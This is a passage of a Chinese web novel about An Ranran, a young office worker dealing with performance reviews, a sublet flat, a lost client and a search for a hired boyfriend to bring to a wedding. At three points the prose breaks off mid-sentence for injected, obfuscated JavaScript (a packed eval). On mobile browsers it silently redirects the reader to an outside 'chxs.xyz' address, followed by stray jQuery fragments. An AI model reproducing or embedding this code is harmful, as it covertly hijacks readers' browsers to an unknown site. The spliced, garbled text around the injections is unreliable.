擦完地板和台面,换了新的床单,我累得不想动弹。
周六上午有四五拨人来看。我很乐观,觉得按照这个态势,应该马上就能租出去了;第二天仍然是四五拨人来看房。尽管来看的人不少,但没有明确要定下来的。
——你这房子都看不到江景,能便宜点吗?
——我出来实习,房子能不能短租两个月?
——要付三押一啊?别人房子都可以付一押一,你这个房子可以商量吗?
这些琐碎的事情一点不比工作省心,我待在房子里等人来看房,叫外卖吃,索然无味。最后一波人来看完之后,窗户外的灰尘在阳光下舞动,我瘫在椅子上不想动弹。
我在心里盘算,这次在T市待一周,周五就要回T市。还得约房东签合同,最晚得在下周三晚上搞定。
……
明天是我的生日,我在忐忑不安中将迎来自己三十岁的生日。
周明凯和孟猛已经到T市了,明天一早,我们先汇合,然后一起去总部。
在半睡半醒之间,一条消息提示音响起。我摸出手机一看,“Xpace Plaza祝您生日快乐,点击链接领取您的生日礼物。”
我看着手机发呆,想了片刻之后,我突然想起来,填写信息的时候随手填了一个。
早上刷牙的时候,我对着镜子看自己的样子,除了眼睛下面不知道什么时候长了一条小细纹之外,皮肤光洁,跟二十九岁没有差别。
看,并没有一夜长出无数的皱纹和白发,这一天跟往常的日子并没有什么不同。曾经担心会发生的一切都没有发生。我没有因为伤心过度而日渐消瘦,甚至还因为同事们的投喂重了两斤,也没有失魂落魄搞砸工作。
我三十岁了,那又怎么样?
眼下我活得很好,甚至比过往的任何时候都要好。
我轻轻地对自己说一句:“安冉然,生日快乐!”
今天过后,你会更好。像是升级打怪一样,我已经度过了不少难关。现在,我要打起十二分精神应对接下来的述职。
一般来说,执行层的述职都是提交自评及上司评分即可,但如果上司要求,骨干员工也可参会述职。
我终于知道为什么这次周明凯要提骨干员工述职,因为这次来了个老外。
在述职汇报层面,露西依然用她娴熟的裱花技巧在惨烈的数据上雕琢;周明凯压根不屑那些花里胡哨的“技术手段”,完全用数据硬刚,不仅有上半年的销售数据,还有新签合同及金额等数据。
露西的脸色很不好看,我在她的脸上看到了很复杂的表情,混杂着难以置信和丝丝难堪,以前她都把T市的数据揉进总部,总部滥竽充数,一直也没被老外发现;这次周明凯提前写了邮件,说他会带骨干员工来总部述职。
难怪露西上次给我打电话问WH集团的案子。
在我上去述职之前,周明凯和孟猛提前帮我润色了讲稿。
对“完全主导WH集团的试单”,“获得了客户的一致认可”,“项目获得空前成功”,并把一些可公开的项目数据放进了述职报告里。我讪讪地表示, “这也不是我一个人的功劳,是老板和团队一起努力的结果,我没那么厉害……”
孟猛瞪了我一眼,“怎么那么不懂事呢,老大说可以放,那就可以放。”
“该争取的要积极争取。”周明凯淡淡说了一句。
我述职结束,周明凯又做了补充,说我在前两次创意被客户否决的情况下力挽狂澜,做了让业界眼神一亮的创意,对公司品牌有很大帮助;露西大概是不了解这些情况,给我打了D。
露西辩解道,原先我在总部做的是行政工作,表现一直不算好。
周明凯冷漠地看了她一眼,说那是合适的人被放错了位置,现在拨乱反正。
露西尽管很不爽,但也不敢在老外面前露出什么不满。最后她找了借口,说她只是对下属严格要求。
在周明凯的据理力争下,我的季度考评改为了B。我算是见识到周明凯护短沪到了什么程度。
会后,总部曾经高高在上的同事突然变得和蔼可亲。
Angela主动跟我打招呼,“Monica,好久不见,中午有没有空一起吃午饭啊?”
Bella也不甘人后,“就是呀,附近有一家新开的意大利餐厅,牛排做得很赞。”
我知道她们是无事不登三宝殿,只不过不知道她们打什么主意。
Bella又夸赞我的口红颜色和衣服的款式,一点都没觉得跟我这种从T市回来的土老帽交谈掉了她的身价。
其实,在我之前,她已经去搭讪过孟猛,只不过孟猛推说自己还要准备下午的汇报搪塞过去了。
周明凯这种冷面阎王大概是没人敢去招惹的。
“我就知道你一定可以的,以前做行政,真的埋没了你的才能。”她压低声音,“Lucy真的是鱼目混珠,把Alex当作心头宠,业绩嘛,全靠Lucy塞呀。”
我默默听着,没有搭话。
“听说你们子公司业务都忙不过来,老外还在卡人头,也是怪了。其实……可以从总部再调人过去呀。”
“同事们效率高,也没有那么忙……”我装作不知道她在说什么,醉翁之意不在酒,我不接茬她们也没辙,“我中午跟Lola约好了一起吃午饭,下次吧。”
Lola一路小跑过来,看见Angela和Bella的时候迟疑了片刻,随即问我:“我们去吃个简餐可以吗?下午我的活儿有点多,要早点回来。”
吃饭的时候,我们交换了信息。
其实,我还在总部的时候,总部的业务就不怎么样,很多案子都搁置了,客户说没有预算,业务组的同事们手里都没活儿,每天去楼下咖啡厅消磨时间。Lucy来办公室的时间越来越晚,只要她来了,就召集业务部门开会,公司查考勤比以前严格了许多。可只要她一离开办公室,各种摸鱼摸到飞起:玩消消乐的,刷短视频的,剁手买买买的,微信聊天的……总之,一切跟工作不相关的事情如火如荼。
Lola说最近感受更明显,行政用车少了很多,业务公关贴发票也少了。
金融危机的大环境下,GT总部就像是风向标。Lola揣摩可能会裁员。
她还告诉我,有些人后悔了,觉得我占了便宜,调去了业绩好的子公司。
我不禁苦笑,要是人人都觉得是好机会,那怎么会轮得上我呢?
吃完饭回来,我去厕所补妆,听见Angela和Bella在厕所吐槽我。
“不就是运气好,有什么好拽的。”
“就是……夸她两句就真以为自己了不起了,那不是我们当时没去T市,谁不会比她干得好啊
我默默听了一会儿,然后当着她们的面走了出去。
她们的交谈戛然而止,惊恐和尴尬的表情特别好笑。
我笑了笑,“怎么不继续说了?”
Bella讪讪地解释:“Monica,我们不是故意的……”
没再理财她们,听见Angela埋怨Bella,“你还跟她道什么歉。”
突然想起夏蕾的话:企业文化是一个公司托底的工具,人性总是向下,如果没有好的氛围和很容易野蛮生长,只以利益为先,长久下去终究会损害公司。
下午孟猛的汇报非常精彩,他口灿莲花,老外频频点头。老外会后单独跟周明凯聊了半天,露西肉眼可见的焦躁。
“今晚你有什么安排吗?”临近下班时,周明凯突然问我。
怀疑老板又准备占用我的私人时间,满心警惕,“老板,你不用陪老外吗?”
“Lucy说要找L
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672145|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
eonard聊些事情,我们约了晚上九点。”
“我约了人看房子……”我偷偷瞄了他一眼。
“那跟对方说,晚半小时可以吗?”他看了看手表,“一起去附近的餐厅吃个简餐,孟猛已经过去了。”
我在看菜单,孟猛捧着插着数字蜡烛的蛋糕向我走过来,我差点感动哭了。竟然有人记得我生日!
周明凯点好蜡烛,“安冉然,恭喜你步入新的人生阶段。”
孟猛戳了戳我,“赶紧许愿,三十岁可是大生日。”
我白了他一眼。
许完愿切蛋糕,蛋糕看上去不错,粉红色的草莓蛋糕。一口咬下去,我差点直接吐出来,这到底是放了多少糖!
萌萌说得没错,孟猛果然能精准地挑选出最难吃的东西。
孟猛狐疑地看着我,“不好吃吗?”
我冲他们扬起笑脸,“很好吃。你们也赶紧吃,老大吃完了不是还得陪老外吗?”
怎么能就我一个人吃到这么难吃的东西?!
孟猛信以为真,狠狠咬了一大口,嚼了两下吐了出来,“太甜了吧?!”
周明凯目无表情,“谁买的谁吃光它。”
……
接下来的两天,老外指定周明凯接待,想来露西肯定很不满,但也无计可施。看她吃瘪,我非常开心。
只是我开始怀念T市。每天下了班我得挤晚高峰地铁回出租屋,经过一个多小时的挤压,我活脱脱像一条压扁了的粉肠。
周二晚上,终于有一个姑娘表示她对房子挺满意的,问我能不能给她留着。
“你要是想住,就交个定金。这样我就不让别人看了。我帮你约房东签合同。”
她咬了咬下唇,“一定要交吗?”
“对……不然我不让人看了,你又不租了,那就很麻烦。”
“我不会不租的。”
我只是笑了笑,没说话。房东教会了我一件事,没有落到纸面的契约都没有保障。
看着那张稚气的脸庞,我不禁提醒:“跟房东签合同的时候,记得书面约定好,到期退还押金,不需要转租出去才退。”
她在那一刻迟疑了,问:“这个房东是不是不太好相处?”
我在权衡,如果如实告诉她,房东有点难缠外加不讲理,那她会不会直接放弃?可是要说房东好相处,又有坑她的嫌疑。
避重就轻地说:“房东住得远,平时不怎么来的。房租都是转账给她……但一些条款还是在合同上写清楚,白纸黑字,免得以后扯皮。”
她似懂非懂地点了点头。
“那你还租吗?”
我觉得可能又要黄了,小姑娘像是下了很大决心,点点头,给了定金,“姐姐,我相信你是好人。”
喜出望外。
打电话联系房东跟小姑娘签合同,她先是有些惊讶,“转出去了?”接着开始问新租客的情况,听说是单身刚毕业的小姑娘,不养宠物,她也挑不出什么毛病。
“您看方便什么时候过来签下合同?”
“我这周不在S市,你把租客微信推给我。我直接跟她联系。”
我偏着头回复她:“租客本周末就想搬进来住,您看能不能委托信任的朋友帮忙签一下合同?”
她含糊其辞乐一会儿,然后说:“那我提前回来吧……周五晚上你问问看对方有空吗?”
“我问问。”
联系完小姑娘,我在微信上告诉房东约好了周三晚上八点,接着又发给她一条消息:签完合同就能把押金退给我了吧?还有十几天才到6月底,房租差价也麻烦签合同当天退给我。
她没有回复。
过了很久之后,她回了一句“知道了”,我能想象出她怒气满满的样子。
我把除了床单和被子之外的行李都已经打包好了,约好了货运公司周四上门。
空荡荡的房子中间的箱子属于肖平,我想了想,还是给他发了一条微信——你的东西还要吗?不要的话,我就扔掉了。
依旧没有回信。
我想干脆等货运公司上门那天让师傅帮忙搬下去扔掉。
凌晨三点半,我从梦靥里醒来。
手机上赫然一条来自肖平的微信——繁花区长乐芷路378号801室,麻烦寄到这里,谢谢。
生疏客套的口吻,我们像是两个曾经依偎在一起取暖的动物,在春季还未来临时就已经分开。
我以为肖平再也不会影响我的心情,可看到那行冰冷的字,仍忍不住难过。
我蜷缩在被子里,紧紧抱住自己,疼痛像海浪一样袭来。我希望周五能尽早到来,可以让我赶紧回到T市,回到能让我积蓄力量的氛围里。
42. 第 42 章
客户写邮件向周明凯投诉,说我们没办法理解他究竟想要什么。
周明凯轻描淡写地回复,“我想,问题在于,双方要去迁就彼此的品味和审美,都是一件极度不容易的事情。还是不要勉强了。”
客户回复的邮件非常愤怒,“取消合作!什么业内知名公司,做的都什么玩意儿?!”
我是在下午三点半的时候看到邮件的,一瞬间,脑子里一片空白,过了许久,“安冉然,你搞砸了!!!”才缓缓地浮到眼前。我恍若没有意识,喃喃自语:“取消合作……我搞砸了。”
“那怎么能叫搞砸?天知道我有多不想跟这客户打交道!”觅觅大声说。萌萌拍拍她肩膀,示意她别再说了。
孟猛安慰我:“别担心,顶多扣半个月的绩效奖金。”
他丫的还不如不要安慰我,这简直是往我心窝子上捅刀子。我哭丧着一张脸坐在工位上,失去了对工作本就为数不多的热情。
如坐针毡地坐在位置上,等待周明凯召见。听小妍说,他今天跟一个大客户约了打球,不一定会进公司,我更是煎熬。墙上的钟好像越走越慢,他们跟我说话时答非所问,工作时心不在焉、思维涣散,像是有一只手把时间一点点往回拉,我苦苦地挨着。
萌萌实在看不下去了,给我支招,说老大最护短,让我使劲哭惨。
等到下午三点多,周明凯板着脸进了公司。
我的手机响了一声,偷偷瞄了一眼,是萌萌。
“看来老大今天谈事情不顺利,卖惨系数需要加乘。”
还没等我想好怎么卖惨,周明凯的电话打到了我座机上。我战战兢兢地站起来,感觉自己的两条腿都在哆嗦,经过觅觅工位时,她对着我比了个加油的手势。
我磨磨蹭蹭,用能踩死蚂蚁的步子向前迈进。他的办公室像一座张开的巨兽嘴,黑洞洞的悬崖,我往前挪一寸,就离死亡近了一步。可不管怎么拖延,还是到了他办公室门口。
他指了指沙发,然后双手交叉,“说说吧。”
“老大,我错了……”
他沉默地看着我,我整个头皮发麻。
“说说看,错哪儿了?”
说实话,我非常不喜欢别人问我“错哪儿了”,这让我秒回做错事且被我妈抓住小辫子的过去——认错只是第一步,最重要的是得认识到自己到底错在哪儿了。
每次我都是抓耳挠腮,随便找借口想要蒙混过关。但秦女士可不是那么好糊弄的,她一定要让我深刻反思、认真检讨,找到自己错在哪儿,说这样下次才不会再犯同样的错误。
恐惧和厌烦同时占领制高点,我差点就冲他喊“还有完没完,咄咄逼人算什么英雄”。但他那张冰山扑克脸,顿时浇灭了我还没窜上来的气焰。
他也不说话,就那么静静地盯着我,我背后的汗毛非常可耻地站立了起来向他致敬。搜肠刮肚,“我搞丢了客户,客户对我们的满意度……
“安冉然”,周明凯打断我,“你还记得什么是帕累托法则吗?”
“啊?”我还在搜肠刮肚地想上面那个错哪儿了,被他一打断,有些茫然,“您刚刚问什么?”
“经济学,帕累托最优,还记得吗?”
我磕磕巴巴开始回忆,“帕累托法则……也就是二八法则,通常80%的贡献都是由20%的因素提供的。譬如20%的员工为公司创造……80%的利润。”
越往下说,我越是觉得心惊胆战,周明凯这是在暗示,我是那个只能创造20%利润的员工,随时可以被干掉的边缘份子吗?
“老大,我给公司造成了损失,愿意承担责任……”
他扬了下眉,我心里一紧,赶紧补充:“打我罚我都可以,能不能少扣点钱?”
周明凯和我四目相对,他看了我一小会儿,然后一副“孺子不可教”的表情。皱了皱眉毛,“谁说要扣你钱了?”
“啊?”我又一次哭丧着脸,“是要开除我吗?
他叹了一口气,像看智障一样看着我。
感觉过了有十分钟,空气安静地让我想要说点什么打破令人难受的寂静,可我没有勇气,悄悄吞了下口水。
“这客户如果合同签下来,你估计是多少?”
“大概……几十万吧。”
“那在签合同之前,出了几轮方案创意了?”
“已经……改了十几稿了……”
“你有去看过他们过往的一些营销活动或海报之类?”
“看过……”我打起精神来了,“他们以前的海报做得可粗糙了。”
他深深看了我一眼,呼出一口气,“那你觉得,他们以前的策划是怎么过得稿呢?”
我愣住了。
周明凯显然没准备从我这里得出答案,他径直说:“按照以往的风格来看,他们其实用不到像我们这样级别的供应商。也就是说,我们是Overqualified。我们一直服务的是国际品牌和大中型公司,跟这个客户之间的审美差异不是零星半点,双方的供需是不匹配的。”
他顿了顿,“最后一个问题,你提前问过他们预算吗?”
我又一愣,确实没有。
“他们对于一个营销案的预期不会超过二十万。”周明凯瞟了我一眼,“也就是说,他们根本用不起我们。”
我很想问他是怎么知道的,可这有质疑老板判断力的嫌疑,于是我闭嘴没问——老练的猎人知道哪里才能打到猎物,大概这是孟猛一直挂在嘴上的销售直觉?
“在接案子之前,多想想帕累托法则。有取舍,才能拿到最大的结果。在人手紧缺的情况下,我们只需要服务好20%的客户。”
“可那些找上门的客户,难道我们就不接吗?”
他给了我一个“自己体会”的眼神,把我撵出了办公室。
晚上,我走在路上,突然下起了蒙蒙细雨。白天的热气还在地面上蒸腾。空气是热的,雨水是凉的,我似乎同时行走在酷暑和寒冬。我游荡在解脱和沮丧的交界处,脑子里乱哄哄的念头没有一刻停歇。
尽管理智上来说,及时止损,跟客户终止合作是最明智的做法;但在心理上仍然觉得自己是个彻头彻尾的失败者。
如果一早知道是这样的结果,我还会投入那么多精力吗?
以后是不是没有结果的事情都不再投入了吗?
可谁又能保证所有的付出都有结果呢?
后知后觉地领悟,周明凯早就知道会是这样的结果。我选择接受客户委托,他没有极力阻止我,只是为了让现实告诉我“二八法则”无所不在:这个给我们贡献远小于20%业绩的客户不仅占据了我们大量时间和精力,而且没有结果。
我像一条蘸满了水的毛巾一样拖着,在地板上留下一条潮湿的水痕。把自己抛进被子里,因为WH婚纱案收获的些许自信心,此刻如同被扎破的气球飘荡在半空中,噗噗往外泄气。
更让我觉得难堪的是,通过这次并行的两个项目,我终于知道多线处理任务的能力并不是人人都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672146|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有的。
虽然孟猛看上去吊儿郎当,可他能够同时接三四个客户的需求,游刃有余。而现阶段的我,上限是两个客户。还得是没那么事儿的两个客户。
深深的挫败感打败了我。辗转反侧,我呼出一口气,再深吸一口气,来回往复,希望自己能平静下来。可是不管用,燥热仍然席卷了我。
今天下午,我还干了另一件蠢事,现在想起来都想去撞墙。
“老大,我想跟你坦个白。”
周明凯探究的眼神让我紧张,但我还是鼓足勇气,“Lucy想让我把WH集团的方案细节给她……”
“我知道。”
我还在继续表忠心,“我一口回绝了她……”突然意识到,他说他知道?
愣在当场,“那您……没有怀疑我?”
“为什么会怀疑你?”他用一种我看不懂的眼神看着我,“这对你可能是过于深奥了。”
我躺在床上翻来覆去,脑子里想的是他那个眼神到底代表什么。卧槽!我就是这么看隔壁那条傻狗的,那条狗总有一些奇奇怪怪的举动,在我看来,那条傻狗肯定是没办法理解人类世界的。
我从床上坐起来,看着窗户外已升至半空的月亮。今晚的月亮很亮,小时候,我曾经在月光下追赶月亮,它不紧不慢,我越跑越快,可是和月亮的距离一直都那么远。终于有一天,我知道,无论我多么努力,都没法追上月亮。
此时此刻,我仿佛还是幼年时的那个笨小孩。
“帕累托法则”反反复复在脑子里出现,如果要把80%的精力集中放在20%能产生最大效用的事情上,那首先得确定哪些是那20%……我想起“□□”的最后列了时间管理的内容,起身去翻包,明黄色磨砂面的笔记本从包里掉了出来。
翻开笔记本,正中间写着“不要骄傲自满,但也无须妄自菲薄”,遒劲有力的笔触彰显下笔人应该从小练过字。哎……别人家孩子连字儿都写得这么漂亮。这句评语莫名与小学班主任给我写的期末评语“戒骄戒躁,百尺竿头更进一步”不谋而合,我从小有个毛病,但凡只要有一点小成绩,就不知道天高地厚,尾巴能翘到天上去。
这是周明凯在半年度考评之后发的奖励,全公司人手一本他写了评语的笔记本。据说这是分公司的传统,一般是年底考评后发,今年不知怎么提前到半年度考评了。年底考评A级还会有别的礼品,一般都是电子产品。可大家似乎尤为青睐这个阳光普照奖。
“这可是老大用他那支签千万合同的钢笔写的,财气满满。”小妍说她来的晚,孟猛都有三本了。写在她橙色本子上的评语是“萤火虫以其微茫点缀夏夜”,小妍平时的工作是准备合同一类的琐事,这句评语意境斐然。
我们彼此传阅,每个人都对评语很喜爱。
“梅花香自苦寒来,努力有目共睹”,萌萌的本子是玫红色的,意外跟她今天的口红颜色很搭,“我在外面跑机构签新人,老大都知道。”
“雄关漫漫真如铁,而今迈步从头越”孟猛的本子是深蓝色,他挠挠头,“我怎么感觉,老大想给我加工作量呢?”
“路漫漫其修远,望继续保持追求卓越的品质。”觅觅没说什么,但笑意藏不住。她的本子是草绿色的。
我细细品味,惊觉周明凯对每一个人的了解甚至比我们本人还要精准。
不骄傲自满,亦不要妄自菲薄,一时的成功和失败都不能代表什么,追月亮的人也许永远都追不到月亮,但却能一直与月亮同行……
43. 第 43 章
这世上最不甘寂寞的绝对是“意外状况”,它们像是在暗处窥探,总在你没有防备时冲出来吓你一跳,就像恶作剧一样。
比如现在,我接到了我妈久违的电话。
“下周六你表妹结婚,你记得带肖平一块儿回来,可千万别忘了。”
岂止是忘了,我恨不得这事儿从来都不存在。在我深陷泥沼里快要没顶,好不容易把自己向上拔了拔的当口,一股力压了下来,猛地把我往下按。
“你看看你,你表妹比你小三岁都结婚了,你和肖平打算什么时候结婚?”
原先一年一度的春节催婚,由于外界刺激,频率和频次都急速增加。就算隔壁家的猫生小崽子了,我妈都能打电话来唠叨上几句。
“那个……我可能回来不了。”我压低声音。
“那怎么行!”我妈在电话那头大概都撸起了袖子,“你可别给我掉链子,两个月前请帖就派咱们家了,你也没说有事儿啊!”
我有口难言——两个月前我怎么知道自己会分手!
“我刚被公司派到T市,一来就请假也不合适。”
“把你们领导电话给我,我来跟他说。哪有这么不通情理的。”
我妈一辈子在国企单位,他们的工作环境和现在天差地别。请假打个报告就行,快退休那段时间,别提什么请假,有事说一声就能走。上班是上班,下班是下班,哪像我们,忙起来微信恨不得24小时待命。但这个没法说,说了她也不理解。
“你又不是什么大人物,公司离了你照样转。别磨磨唧唧的,赶紧请假去。记得带肖平一起回来。”
我无奈地叹了口气,算了,死就死吧。我想干脆坦白,遮遮掩掩也不是长久之计。
“我和肖平……”分手了,那三个字还卡在喉咙里,我妈啪唧一下挂了电话,留下我一个人欲哭无泪。
我失神地走回工位,萌萌正在整理她的“后宫资料库”,只见她手指快速在鼠标上滑动,停下来删掉一行,在某几行进行修改,再重新排序……
颤巍巍地左手摸着右手问:“你说,我现在去相个亲还来得及吗?”
“哎呦,小妞儿,终于想通了?”萌萌开心的好像听到我要结婚的消息一样,“来来来,让你见识一下姐手里的花红柳绿。”
万万没想到,我有一天也能跟周明凯的前任一样,在环肥燕瘦??秀色可餐的男性中以选秀的姿态遍历男色。虽然只是电子版本,可当自己成为“选妃”的主角时,才能真正领会到那种优越感,忍不住感慨一句,当皇帝真好。
尽管小妍和觅觅的劝告言犹在耳,可我也不是正经找对象,只要看上去够装点门面就行了。萌萌的资料库,别的不说,单从表面质量来看,很能拿得出手。
虽然怕萌萌暴走一板砖拍死我,可我血液里流淌着对秦女士的畏惧,两权相害取其轻,我还是咬着牙挤出了“我其实……就是想找人……救个场。”
“姐们手里都是良家儿郎,可不干这些坑蒙拐骗的事儿。”萌萌呲牙一笑,“要来就来真格的。冉冉,你没听说过吗,想要结束一段感情,最好的方法是开始一段新的感情。”
我牙一咬心一横,“好萌萌,你就帮我问问,有谁愿意帮我这个忙……我出路费和住宿……”
死乞白赖缠了萌萌半天,萌萌说这事关她的职业操守,抵死不愿意贡献她的宝贵人脉。
直线救国方针宣告失败,我只能曲线救国了。
我像做贼一样蹲在洗手间隔间里,杵着自己的手机在某瓣和某书来回倒腾,希望能够通过古早的方法搞定眼下的窘状。据说现在某瓣跟我们读书那阵子很不一样了,遍地是中介。
当我输密码的时候,提示我用户名和密码不匹配——我确实已经很久没上过某瓣了。
试了好几次都失败了,准备找回密码时,灵光一闪,鬼使神差输入了肖平的首字母加生日,居然对了!下一刻我就后悔了,我为什么会在某瓣里留存了这么多过去:矫情肉麻的文字,两个人的合照,甚至还留有我们刚到S市租的第一个小破屋的影像……两张傻乎乎青涩的笑脸,突如其来的一记重锤,让我喘不上来气。
突然,一个声音在我的头顶上传来,“不好意思……能借张厕纸吗?”打破了感伤的氛围。
我抬起头,不认识。大概是同一层楼别的公司员工。
她笑得很尴尬,“我敲了好几次隔板了……人倒霉起来,上厕所都能没纸……”
我慌忙扯了一大卷纸,举过头顶递给她。
解决掉厕纸事件,我火速发了帖子。我还注册了个稀奇古怪的互助论坛,企图从里面捞出“临时男友”。虽说雇佣男友是更合适的方法,鉴于我目前对比房价并不富裕的银行账户,每一分钱都必须用在刀刃上,男人跟刀刃没有一毛钱关系。我只要求对方在婚礼当天出席半天,对方完全可以当作一次有人承担路费和住宿的旅行。算了算路费和住宿,有点肉痛。人倒霉起来,钱会以各种想不到的方式溜走。
还有一周多的时间,就算一天见一个,再怎么着也能找到个能糊弄得过去的吧?!
可事实证明,这跟大海捞针也没什么区别。三天过去了,寥寥可数的几个私信,还一大半是广告贴。出于无奈,我把标题修改成了“有偿寻求帮助”。
如果说Deadline是第一生产力,那么金钱就是第一助推器——从免费求助改为有偿劳动之后,我的私信状态也从空空荡荡变为了“99+”红点状态。我筛掉了一看就不靠谱的,比如白马会所推销那一类,跟几位看上去正常的聊了聊,最后筛选出了三个人,加了网站好友。
为了节约时间,我把他们全都约到了公司附近的咖啡馆,半小时见一个,主打一个效率。
谁知道,约的第一个人效率更高,我还在上着班,他发私信说他已经到了。
我一下班就冲了出去。
商业区的咖啡馆到了下班时间人迹寥寥,我扫视了一圈,整个咖啡店里只有三桌人。靠窗户的位置坐着两个年轻的女生,角落的位置是个看上去四十多岁的中年男人,还有个穿着运动T恤的大男孩坐在正中间的位置。
视线像乒乓球一样来回在大叔和少年之间弹跳,我不能确定哪个是我约的人。大叔举着手机不知道在看什么,发出低沉的笑声。少年戴着硕大的耳机,趴在桌子上,面前放着一杯超大可乐。
掏出手机发私信,“你坐在哪儿?”
我站在那里,等着回复。等了十几分钟也没人回。
总不能是那个毛头小子吧,我硬着头皮走向中年大叔,“麻烦问下,您是秋季的叶吗?”
大叔正在看美女视频,被打断之后非常不悦,手机往桌上一扣,很不耐烦地吼:“什么秋天冬天,没看到别人在忙吗?”
少年不知道什么时候摘掉了耳机,他扭过头,“姐姐,我是。”
看到他的那一瞬间,我对这个世界产生了怀疑——尽管我希望是个长相清秀周正的男性,可这年纪是不是有点小?
“那个,方便问下你的名字吗?
少年长得一副人畜无害的样子,“你叫我小枫好了。枫叶的枫。”
现在的我,是要疯了的疯。
“姐姐,你给多少钱啊?”
我看着那张稚嫩的娃娃脸,内心一阵恐慌—
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672147|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—我会不会因为“猥亵”未成年人被抓进去?
深吸一口气,在心里给自己鼓劲儿:别自乱阵脚,没准对面这位只是长得稚嫩。
我小心翼翼地问:“你今年多大了?”
小帅哥猛得吸了一口可乐,笑得眉眼弯弯,“明年就上大学了。”
哈利路亚!!!才高二吗?!
这年头,爸妈都不管管孩子的吗?孩子成天都逛的什么网站?!
虽说只要保养好,男朋友在高考。可真来这么一枚青春无敌的小奶狗,别说我的心脏承受不住,就算我承受得了,我妈也承受不了。这看上去就和诱骗未成年大男孩没区别,如果是清纯男大还勉强能接受,高中生也太没有说服力了。我要是带着这一位去表妹婚礼,别说七大姑八大姨,我妈第一个会跳出来问我是不是脑子进水了。
虽然姐弟恋的风潮已经刮了很久,但我思想老派,骨子里是传统的男大女小组合,我能接受的最大年龄差是两岁。如果年纪差得多,至少得长得不像差很多的样子吧?!
婉拒了小朋友,他心态倒是很好,“姐姐,要是你过两年还需要临时男朋友,我就够年龄了。”
噗……一口血差点喷出来。
下一位,年龄倒是正常,但……这一身打扮,确定不是去白马会所应聘的吗?翠绿色衬衫,搭配一条蛇纹紧身裤,红色尖头短靴。我在最叛逆的二十岁,都没有自信能驾驭如此有性格的穿搭——配色之大胆,搭配思路之清奇,恐怕只有毕加索的油画堪以匹敌。
我小心翼翼地问:“麻烦问下,怎么称呼?”
“嗨,人家叫Raymond,你也可以叫人家Ray。亲切一点嘛。” 雷蒙德二号风姿绰约地摸了下自己的鬓角。
他一开口,我就迅速地在心里画了个叉。虽然我不歧视娘娘腔,但一个男人说话比我还像个女的,这让我觉得很没面子。而且他居然跟周明凯一个英文名,更让我不忍直视。我努力给自己洗脑,周明凯的英文名跟露西的一样烂大街了,仍然无法想象自己跟Raymond假扮情侣。
“您有中文名吗?”
他的脸火速黑了下来,“王大壮。”
这才对嘛。他黝黑壮实的形象跟本名相得益彰,证明他爸妈对自己的孩子十分了解并寄予了美好的希望。
“那个……大壮,你看如果真的选你了,形象上是不是能做点改变?”
“讨厌!都说了叫人家Raymond或者Ray。”他翻了一个白眼,然后看了看我,又看了看自己,翘起兰花指点了我一下,“品味懂不懂?”
我差点把手里的叉子扎进大腿。
在心里默默探了口气,我的候选人不多,这位王大壮先生除了需要正视下自己的审美志趣之外,个头和长相勉强能及格。
我耐着性子回答了他各种问题,包括“我去了住在哪儿”,“路上大概要多久”,“酬金以什么方式支付”,“有没有预付款”,“会不会有什么亲密要求”……在我再三保证除了牵手挽臂之外不会有额外的亲密举动之后,他才勉强打住了刨根问底的劲头。
“你在帖子里说,你家是个江南小镇是吧?”
“对,十八线小县城。”
“行吧,就当去旅游了。”
“是这样的,我后面还有一个人要见……可能暂时还不能定。”
他忽略了我说的不确定性,笑得花枝乱颤,“加个微信吧……保持联系,什么时候走提前通知我,我还要准备准备的。”
互相加了微信之后,他冲我飞了个媚眼,“记得早点打电话给人家哦。”让我很有一种偷偷摸摸搞婚外情的背德感。
44. 第 44 章
雷蒙德二号刚走,有个人快步走到了我的桌子旁边。
我本来以为,前面两个已经是滑铁卢的峡谷底部了,没想到接下来的这个人直接让我要尖叫报警。
油头,花衬衫,紧绷的裤子一只裤腿挽了三折,一只裤腿耷拉着盖着脚背。
“我在旁边看半天了……你是网上找男朋友那个吧?” 他咧嘴一笑,露出黄乎乎还有些黑的大板牙。
“是合约男友!”我下意识反驳,立刻恨不得给自己一个耳光,直接说“不是”不就好了,或者以他认错人了搪塞过去,他这个样子,我觉得没有什么交谈的必要。
“哎,差不多差不多……”他大咧咧地岔开腿坐下,然后开始用一种让人极度不舒适的眼光上下打量,眼神就好像我是一块摆在柜台上待售的猪肉。
我浑身不自在,但他已经坐了下来。整个人斜斜地倚靠在椅子上,把右腿往左腿上一翘,“我叫刘冬冬,你呢?”
正思索着怎么拒绝他,他又说:“我喝可乐,你喝什么?我去买。”
“不用了不用了……”我赶紧出声,“那个……我感觉,不太合适。”
